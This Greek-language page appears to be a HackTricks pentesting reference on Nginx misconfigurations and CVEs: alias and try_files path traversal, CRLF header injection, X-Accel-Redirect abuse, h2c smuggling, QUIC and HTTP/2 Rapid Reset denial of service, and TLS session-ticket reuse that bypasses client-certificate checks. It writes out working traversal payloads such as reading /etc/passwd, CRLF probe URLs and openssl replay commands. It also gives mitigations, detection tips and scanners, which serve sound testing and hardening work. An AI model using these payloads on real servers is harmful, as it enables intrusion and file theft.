Nginx

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Missing root location

Κατά τη διαμόρφωση του Nginx server, η root directive παίζει κρίσιμο ρόλο, ορίζοντας τον βασικό κατάλογο από τον οποίο εξυπηρετούνται τα αρχεία. Δείτε το παράδειγμα παρακάτω:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

Σε αυτή τη διαμόρφωση, το /etc/nginx ορίζεται ως ο root κατάλογος. Αυτή η ρύθμιση επιτρέπει την πρόσβαση σε αρχεία εντός του καθορισμένου root καταλόγου, όπως το /hello.txt. Ωστόσο, είναι σημαντικό να σημειωθεί ότι έχει οριστεί μόνο μια συγκεκριμένη location (/hello.txt). Δεν υπάρχει διαμόρφωση για την root location (location / {...}). Αυτή η παράλειψη σημαίνει ότι η οδηγία root εφαρμόζεται παγκοσμίως, επιτρέποντας σε αιτήματα προς το root path / να έχουν πρόσβαση σε αρχεία κάτω από το /etc/nginx.

Από αυτή τη διαμόρφωση προκύπτει ένα κρίσιμο ζήτημα ασφάλειας. Ένα απλό GET αίτημα, όπως GET /nginx.conf, θα μπορούσε να εκθέσει ευαίσθητες πληροφορίες σερβίροντας το αρχείο διαμόρφωσης Nginx που βρίσκεται στο /etc/nginx/nginx.conf. Η ορισμός του root σε έναν λιγότερο ευαίσθητο κατάλογο, όπως το /etc, μπορεί να μειώσει αυτόν τον κίνδυνο, αλλά ενδέχεται να εξακολουθεί να επιτρέπει μη προγραμματισμένη πρόσβαση σε άλλα κρίσιμα αρχεία, συμπεριλαμβανομένων άλλων αρχείων διαμόρφωσης, αρχείων καταγραφής πρόσβασης, και ακόμη και κρυπτογραφημένων credentials που χρησιμοποιούνται για HTTP basic authentication.

Alias LFI Εσφαλμένη διαμόρφωση

Στα αρχεία διαμόρφωσης του Nginx, απαιτείται προσεκτικός έλεγχος των οδηγιών location. Μια ευπάθεια γνωστή ως Local File Inclusion (LFI) μπορεί να εισαχθεί ακούσια μέσω μιας διαμόρφωσης που μοιάζει με την ακόλουθη:

location /imgs {
alias /path/images/;
}

Αυτή η διαμόρφωση είναι επιρρεπής σε LFI attacks λόγω του ότι ο server ερμηνεύει αιτήματα όπως /imgs../flag.txt ως προσπάθεια πρόσβασης σε αρχεία εκτός του προοριζόμενου καταλόγου, ουσιαστικά επιλύοντας σε /path/images/../flag.txt. Αυτό το σφάλμα επιτρέπει σε attackers να ανακτήσουν αρχεία από το filesystem του server που δεν θα έπρεπε να είναι προσβάσιμα μέσω του web.

Για να μετριαστεί αυτή η ευπάθεια, η διαμόρφωση θα πρέπει να προσαρμοστεί ως εξής:

location /imgs/ {
alias /path/images/;
}

Περισσότερες πληροφορίες: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Δοκιμές Accunetix:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Μη ασφαλής περιορισμός διαδρομής

Δείτε την παρακάτω σελίδα για να μάθετε πώς να παρακάμπτετε οδηγίες όπως:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Μη ασφαλής χρήση μεταβλητών / HTTP Request Splitting

Caution

Εύθραυστες μεταβλητές $uri και $document_uri και αυτό μπορεί να διορθωθεί αντικαθιστώντας τες με $request_uri.

Ένα regex μπορεί επίσης να είναι ευάλωτο όπως:

location ~ /docs/([^/])? { … $1 … } - Ευάλωτο

location ~ /docs/([^/\s])? { … $1 … } - Μη ευάλωτο (έλεγχος κενών)

location ~ /docs/(.*)? { … $1 … } - Μη ευάλωτο

Μια ευπάθεια στη διαμόρφωση του Nginx επιδεικνύεται στο παρακάτω παράδειγμα:

location / {
return 302 https://example.com$uri;
}

Οι χαρακτήρες \r (Carriage Return) και \n (Line Feed) σηματοδοτούν χαρακτήρες νέας γραμμής σε HTTP requests, και οι URL-encoded μορφές τους αναπαρίστανται ως %0d%0a. Η εισαγωγή αυτών των χαρακτήρων σε ένα request (π.χ., http://localhost/%0d%0aDetectify:%20clrf) σε έναν misconfigured server έχει ως αποτέλεσμα ο server να εκδώσει ένα νέο header με όνομα Detectify. Αυτό συμβαίνει επειδή η μεταβλητή $uri απο-κωδικοποιεί τους URL-encoded χαρακτήρες νέας γραμμής, οδηγώντας σε ένα απρόσμενο header στην response:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Μάθετε περισσότερα για τους κινδύνους του CRLF injection και του response splitting στο https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Επίσης, αυτή η τεχνική εξηγείται σε αυτή την ομιλία με μερικά ευπαθή παραδείγματα και μηχανισμούς ανίχνευσης. Για παράδειγμα, για να ανιχνεύσετε αυτή τη λανθασμένη διαμόρφωση από blackbox σκοπιά, μπορείτε να χρησιμοποιήσετε τα εξής αιτήματα:

  • https://example.com/%20X - Οποιοσδήποτε κωδικός HTTP
  • https://example.com/%20H - 400 Bad Request

Εάν είναι ευάλωτο, το πρώτο θα συμπεριφερθεί έτσι, αφού το “X” είναι οποιαδήποτε μέθοδος HTTP, ενώ το δεύτερο θα επιστρέψει σφάλμα επειδή το H δεν είναι έγκυρη μέθοδος. Έτσι ο server θα λάβει κάτι σαν: GET / H HTTP/1.1 και αυτό θα προκαλέσει το σφάλμα.

Άλλα παραδείγματα ανίχνευσης θα ήταν:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Οποιοσδήποτε κωδικός HTTP
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Μερικές ευπαθείς διαμορφώσεις που παρουσιάστηκαν σε εκείνη την ομιλία ήταν:

  • Σημειώστε πώς $uri ορίζεται όπως είναι στο τελικό URL
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Σημειώστε πώς και πάλι $uri βρίσκεται στο URL (αυτή τη φορά μέσα σε παράμετρο)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Τώρα σε AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Κάθε μεταβλητή

Αποκαλύφθηκε ότι τα user-supplied data ενδέχεται να αντιμετωπίζονται ως Nginx variable υπό ορισμένες συνθήκες. Η αιτία αυτής της συμπεριφοράς παραμένει μάλλον ασαφής, όμως δεν είναι σπάνια ούτε εύκολα επαληθεύσιμη. Αυτή η ανωμαλία επισημάνθηκε σε μια αναφορά ασφαλείας στο HackerOne, που μπορείτε να δείτε here. Περαιτέρω διερεύνηση του error message οδήγησε στον εντοπισμό του μέσα στο SSI filter module of Nginx’s codebase, εντοπίζοντας τα Server Side Includes (SSI) ως τη βασική αιτία.

Για να ανιχνεύσετε αυτή τη λανθασμένη διαμόρφωση, μπορείτε να εκτελέσετε την ακόλουθη εντολή, η οποία περιλαμβάνει τον ορισμό του referer header για να δοκιμαστεί η εκτύπωση μεταβλητών:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Οι σαρώσεις για αυτήν την εσφαλμένη διαμόρφωση σε διάφορα συστήματα αποκάλυψαν πολλαπλές περιπτώσεις όπου μεταβλητές του Nginx μπορούσαν να εμφανιστούν από έναν χρήστη. Ωστόσο, η μείωση στον αριθμό των ευάλωτων περιπτώσεων υποδηλώνει ότι οι προσπάθειες για patch αυτού του ζητήματος έχουν εν μέρει στεφθεί με επιτυχία.

Χρήση try_files με μεταβλητές $URI$ARGS

Η ακόλουθη εσφαλμένη διαμόρφωση του Nginx μπορεί να οδηγήσει σε ευπάθεια LFI:

location / {
try_files $uri$args $uri$args/ /index.html;
}

Στην διαμόρφωσή μας έχουμε την οδηγία try_files που χρησιμοποιείται για να ελέγξει την ύπαρξη αρχείων με καθορισμένη σειρά. Ο Nginx θα εξυπηρετήσει το πρώτο που θα βρει. Η βασική σύνταξη της οδηγίας try_files είναι η εξής:

try_files file1 file2 ... fileN fallback;

Nginx θα ελέγξει για την ύπαρξη κάθε αρχείου με τη συγκεκριμένη σειρά. Αν ένα αρχείο υπάρχει, θα σερβιριστεί αμέσως. Αν κανένα από τα συγκεκριμένα αρχεία δεν υπάρχει, το αίτημα θα προωθηθεί στην εφεδρική επιλογή, η οποία μπορεί να είναι άλλο URI ή μια συγκεκριμένη σελίδα σφάλματος.

Ωστόσο, όταν χρησιμοποιούνται οι μεταβλητές $uri$args σε αυτή την οδηγία, το Nginx θα προσπαθήσει να βρει ένα αρχείο που ταιριάζει στο URI του αιτήματος σε συνδυασμό με οποιεσδήποτε παραμέτρους query string. Επομένως μπορούμε να εκμεταλλευτούμε αυτή τη διαμόρφωση:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Με το ακόλουθο payload:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Χρησιμοποιώντας το payload μας θα ξεφύγουμε από τον root directory (ορισμένο στην Nginx διαμόρφωση) και θα φορτώσουμε το αρχείο /etc/passwd. Στα debug logs μπορούμε να παρατηρήσουμε πώς το Nginx δοκιμάζει τα αρχεία:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC εναντίον του Nginx χρησιμοποιώντας την παραπάνω διαμόρφωση: Παράδειγμα αιτήματος burp

Ανάγνωση ακατέργαστης απάντησης του backend

Το Nginx προσφέρει μια λειτουργία μέσω του proxy_pass που επιτρέπει την παρεμβολή σφαλμάτων και HTTP headers που παράγονται από το backend, με στόχο την απόκρυψη εσωτερικών μηνυμάτων σφάλματος και headers. Αυτό επιτυγχάνεται με το Nginx να σερβίρει προσαρμοσμένες σελίδες σφάλματος ως απόκριση σε σφάλματα του backend. Ωστόσο, προκύπτουν προβλήματα όταν το Nginx συναντήσει ένα μη έγκυρο HTTP αίτημα. Ένα τέτοιο αίτημα προωθείται στο backend όπως λήφθηκε, και η ακατέργαστη απάντηση του backend στη συνέχεια αποστέλλεται απευθείας στον client χωρίς παρέμβαση του Nginx.

Σκεφτείτε ένα παράδειγμα σεναρίου που περιλαμβάνει μια εφαρμογή uWSGI:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Για να το διαχειριστείτε αυτό, χρησιμοποιούνται συγκεκριμένες οδηγίες στη διαμόρφωση του Nginx:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Αυτή η οδηγία επιτρέπει στο Nginx να επιστρέφει μια προσαρμοσμένη απάντηση για απαντήσεις από το backend με κωδικό κατάστασης μεγαλύτερο από 300. Εξασφαλίζει ότι, για το παράδειγμα της εφαρμογής uWSGI, μια 500 Error απάντηση αναχαιτίζεται και χειρίζεται από το Nginx.
  • proxy_hide_header: Όπως υποδηλώνει το όνομα, αυτή η οδηγία αποκρύπτει καθορισμένα HTTP headers από τον client, βελτιώνοντας την ιδιωτικότητα και την ασφάλεια.

Όταν γίνεται ένα έγκυρο GET αίτημα, το Nginx το επεξεργάζεται κανονικά, επιστρέφοντας μια τυπική απάντηση σφάλματος χωρίς να αποκαλύπτει κανένα μυστικό header. Ωστόσο, ένα άκυρο HTTP αίτημα παρακάμπτει αυτόν τον μηχανισμό, οδηγώντας στην έκθεση των ωμών απαντήσεων του backend, συμπεριλαμβανομένων των μυστικών headers και μηνυμάτων σφάλματος.

merge_slashes ρυθμισμένο σε off

Από προεπιλογή, η οδηγία merge_slashes του Nginx είναι ρυθμισμένη σε on, η οποία συμπιέζει πολλαπλούς κάθετους σε ένα μόνο στο URL. Αυτή η λειτουργία, ενώ απλοποιεί την επεξεργασία των URL, μπορεί ακούσια να αποκρύψει ευπάθειες σε εφαρμογές πίσω από το Nginx, ιδιαίτερα εκείνες ευάλωτες σε local file inclusion (LFI) attacks. Οι ειδικοί ασφάλειας Danny Robinson and Rotem Bar έχουν επισημάνει τους πιθανούς κινδύνους που σχετίζονται με αυτή την προεπιλεγμένη συμπεριφορά, ειδικά όταν το Nginx λειτουργεί ως reverse-proxy.

Για να μειωθούν τέτοιοι κίνδυνοι, συνιστάται να απενεργοποιήσετε την οδηγία merge_slashes για εφαρμογές επιρρεπείς σε αυτές τις ευπάθειες. Αυτό διασφαλίζει ότι το Nginx προωθεί τα αιτήματα στην εφαρμογή χωρίς να τροποποιεί τη δομή του URL, και επομένως δεν αποκρύπτονται υποκείμενα προβλήματα ασφάλειας.

Για περισσότερες πληροφορίες δείτε Danny Robinson and Rotem Bar.

Maclicious Κεφαλίδες Απόκρισης

Όπως φαίνεται στο this writeup, υπάρχουν ορισμένα headers που, εάν υπάρχουν στην απάντηση από τον web server, θα αλλάξουν τη συμπεριφορά του Nginx proxy. Μπορείτε να τα δείτε in the docs:

  • X-Accel-Redirect: Υποδεικνύει στο Nginx να κάνει εσωτερική ανακατεύθυνση ενός αιτήματος σε συγκεκριμένη τοποθεσία.
  • X-Accel-Buffering: Ελέγχει αν το Nginx θα κάνει buffering της απάντησης ή όχι.
  • X-Accel-Charset: Ορίζει το character set για την απάντηση όταν χρησιμοποιείται X-Accel-Redirect.
  • X-Accel-Expires: Ορίζει τον χρόνο λήξης για την απάντηση όταν χρησιμοποιείται X-Accel-Redirect.
  • X-Accel-Limit-Rate: Περιορίζει το ρυθμό μεταφοράς για απαντήσεις όταν χρησιμοποιείται X-Accel-Redirect.

Για παράδειγμα, η κεφαλίδα X-Accel-Redirect θα προκαλέσει μια εσωτερική ανακατεύθυνση στο nginx. Έτσι, έχοντας μια nginx διαμόρφωση με κάτι σαν root / και μια απάντηση από τον web server με X-Accel-Redirect: .env, το nginx θα στείλει το περιεχόμενο του /.env (Path Traversal).

Default Value in Map Directive

Στη διαμόρφωση του Nginx, η οδηγία map συχνά παίζει ρόλο στον έλεγχο εξουσιοδότησης. Ένα συνηθισμένο λάθος είναι να μην καθορίζεται μια προεπιλεγμένη τιμή, κάτι που μπορεί να οδηγήσει σε μη εξουσιοδοτημένη πρόσβαση. Για παράδειγμα:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}

server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Χωρίς default, ένας malicious user μπορεί να παρακάμψει την ασφάλεια προσπελάζοντας ένα undefined URI εντός του /map-poc. The Nginx manual συμβουλεύει τον ορισμό μιας default value για να αποφευχθούν τέτοια ζητήματα.

DNS Spoofing Vulnerability

Το DNS spoofing εναντίον του Nginx είναι εφικτό υπό ορισμένες προϋποθέσεις. Εάν ένας attacker γνωρίζει τον DNS server που χρησιμοποιεί ο Nginx και μπορεί να υποκλέψει τις DNS queries του, μπορεί να spoof DNS records. Ωστόσο, αυτή η μέθοδος είναι αναποτελεσματική εάν ο Nginx είναι ρυθμισμένος να χρησιμοποιεί localhost (127.0.0.1) για DNS resolution. Ο Nginx επιτρέπει τον καθορισμό ενός DNS server ως εξής:

resolver 8.8.8.8;

proxy_pass και internal Οδηγίες

Η proxy_pass directive χρησιμοποιείται για την ανακατεύθυνση αιτήσεων προς άλλους servers, είτε εσωτερικά είτε εξωτερικά. Η internal directive διασφαλίζει ότι ορισμένες τοποθεσίες είναι προσβάσιμες μόνο εντός του Nginx. Αν και αυτές οι directives από μόνες τους δεν είναι ευπάθειες, η διαμόρφωσή τους χρειάζεται προσεκτική εξέταση για να αποφευχθούν κενά ασφαλείας.

proxy_set_header Upgrade & Connection

Εάν ο nginx server έχει ρυθμιστεί να προωθεί τα headers Upgrade και Connection, μια h2c Smuggling attack θα μπορούσε να εκτελεστεί για να αποκτηθεί πρόσβαση σε προστατευμένα/εσωτερικά endpoints.

Caution

Αυτή η ευπάθεια θα επέτρεπε σε attacker να δημιουργήσει απευθείας σύνδεση με το proxy_pass endpoint (http://backend:9999 σε αυτή την περίπτωση), του οποίου το περιεχόμενο δεν θα ελέγχεται από το nginx.

Παράδειγμα ευπαθούς διαμόρφωσης για να steal /flag από here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Σημειώστε ότι ακόμη κι αν το proxy_pass έδειχνε σε συγκεκριμένο path όπως http://backend:9999/socket.io η σύνδεση θα γίνει με http://backend:9999 οπότε μπορείτε να επικοινωνήσετε με οποιοδήποτε άλλο path εντός αυτού του internal endpoint. Επομένως δεν έχει σημασία αν έχει καθοριστεί path στο URL του proxy_pass.

HTTP/3 QUIC module remote DoS & leak (2024)

Κατά το 2024 η Nginx δημοσιοποίησε τις CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 και CVE-2024-35200, δείχνοντας ότι μια single hostile QUIC session μπορεί να καταρρίψει worker processes ή να leak μνήμη όποτε το πειραματικό ngx_http_v3_module είναι compiled in και ένα listen ... quic socket είναι exposed. Οι επηρεαζόμενες builds είναι 1.25.0–1.25.5 και 1.26.0, ενώ στις 1.27.0/1.26.1 υπάρχουν τα fixes· η memory disclosure (CVE-2024-34161) απαιτεί επιπλέον MTUs μεγαλύτερα από 4096 bytes για να αποκαλυφθούν ευαίσθητα δεδομένα (λεπτομέρειες στην 2024 nginx advisory που αναφέρεται παρακάτω).

Recon & exploitation hints

  • HTTP/3 είναι opt-in, οπότε σαρώστε για απαντήσεις Alt-Svc: h3=":443" ή κάντε brute-force UDP/443 QUIC handshakes· μόλις επιβεβαιωθεί, fuzz το handshake και τα STREAM frames με custom quiche-client/nghttp3 payloads για να προκαλέσετε worker crashes και να αναγκάσετε log leakage.
  • Γρήγορα fingerprint την υποστήριξη του στόχου με:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

Παράκαμψη επαναφοράς συνεδρίας TLS για client cert auth (CVE-2025-23419)

Μια ανακοίνωση του Φεβρουαρίου 2025 αποκάλυψε ότι το nginx 1.11.4–1.27.3 που έχει χτιστεί με OpenSSL επιτρέπει επαναχρησιμοποίηση μιας TLS 1.3 συνεδρίας από έναν name-based virtual host μέσα σε άλλο, έτσι ένας client που διαπραγματεύτηκε έναν host χωρίς πιστοποιητικό μπορεί να αναπαραστήσει το ticket/PSK για να εισέλθει σε ένα vhost προστατευμένο με ssl_verify_client on; και να παραλείψει εντελώς το mTLS. Το bug ενεργοποιείται όποτε πολλαπλά virtual hosts μοιράζονται την ίδια TLS 1.3 session cache και tickets (βλ. την ανακοίνωση nginx του 2025 που αναφέρεται παρακάτω).

Σχέδιο επίθεσης

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Αν ο στόχος είναι ευάλωτος, το δεύτερο handshake ολοκληρώνεται χωρίς να παρουσιαστεί πιστοποιητικό πελάτη, αποκαλύπτοντας προστατευμένες τοποθεσίες.

Τι να ελέγξετε

  • Μικτά server_name μπλοκ που μοιράζονται ssl_session_cache shared:SSL και ssl_session_tickets on;.
  • Admin/API μπλοκ που αναμένουν mTLS αλλά κληρονομούν shared session cache/ticket ρυθμίσεις από public hosts.
  • Αυτοματισμός που ενεργοποιεί το TLS 1.3 session resumption σε παγκόσμιο επίπεδο (π.χ. Ansible roles) χωρίς να λαμβάνει υπόψη την απομόνωση vhost.

Ανθεκτικότητα στο HTTP/2 Rapid Reset (CVE-2023-44487 συμπεριφορά)

Η επίθεση HTTP/2 Rapid Reset (CVE-2023-44487) εξακολουθεί να επηρεάζει το nginx όταν οι χειριστές ανεβάζουν τις τιμές keepalive_requests ή http2_max_concurrent_streams πάνω από τις προεπιλογές: ένας επιτιθέμενος ανοίγει μία σύνδεση HTTP/2, την κατακλύζει με χιλιάδες streams, και στη συνέχεια εκδίδει αμέσως RST_STREAM frames έτσι ώστε το ανώτατο όριο ταυτόχρονης εκτέλεσης να μην επιτυγχάνεται ποτέ, ενώ η CPU συνεχίζει να καταναλώνει πόρους στη λογική tear-down. Οι προεπιλογές του nginx (128 concurrent streams, 1000 keepalive requests) κρατούν την έκταση της ζημιάς μικρή· η αύξηση αυτών των ορίων “σημαντικά υψηλότερα” καθιστά εύκολο το να στερηθούν πόρους οι workers ακόμα κι από έναν μόνο client (βλ. το write-up της F5 που αναφέρεται παρακάτω).

Συμβουλές εντοπισμού

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Οι hosts που αποκαλύπτουν ασυνήθιστα υψηλές τιμές για αυτές τις οδηγίες είναι πρώτοι στόχοι: ένας HTTP/2 client μπορεί να επαναλαμβάνει τη δημιουργία streams και άμεσα RST_STREAM frames για να κρατήσει την CPU κολλημένη χωρίς να ενεργοποιεί το όριο ταυτόχρονης εκτέλεσης.

Δοκίμασέ το μόνος σου

Η Detectify έχει δημιουργήσει ένα αποθετήριο στο GitHub όπου μπορείτε να χρησιμοποιήσετε Docker για να στήσετε τον δικό σας ευάλωτο Nginx δοκιμαστικό server με μερικές από τις λανθασμένες διαμορφώσεις που συζητήθηκαν σε αυτό το άρθρο και να δοκιμάσετε να τις εντοπίσετε μόνοι σας!

https://github.com/detectify/vulnerable-nginx

Στατικά εργαλεία ανάλυσης

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (ένα ενημερωμένο fork του GIXY) είναι ένα εργαλείο για την ανάλυση διαμορφώσεων του Nginx, με στόχο την εύρεση ευπαθειών, μη ασφαλών οδηγιών και επικίνδυνων λανθασμένων διαμορφώσεων. Επίσης εντοπίζει διαμορφώσεις που επηρεάζουν την απόδοση και ανιχνεύει παραληφθείσες ευκαιρίες σκληροποίησης, επιτρέποντας την αυτοματοποιημένη ανίχνευση αδυναμιών.
  • gixy-ng (το ενεργά διατηρούμενο fork του GIXY) είναι ένα εργαλείο για την ανάλυση διαμορφώσεων του Nginx, με στόχο την εύρεση ευπαθειών, μη ασφαλών οδηγιών και επικίνδυνων λανθασμένων διαμορφώσεων. Επίσης εντοπίζει διαμορφώσεις που επηρεάζουν την απόδοση και ανιχνεύει παραληφθείσες ευκαιρίες σκληροποίησης, επιτρέποντας την αυτοματοποιημένη ανίχνευση αδυναμιών.

Nginxpwner

Το Nginxpwner είναι ένα απλό εργαλείο για την αναζήτηση κοινών λανθασμένων διαμορφώσεων του Nginx και ευπαθειών.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks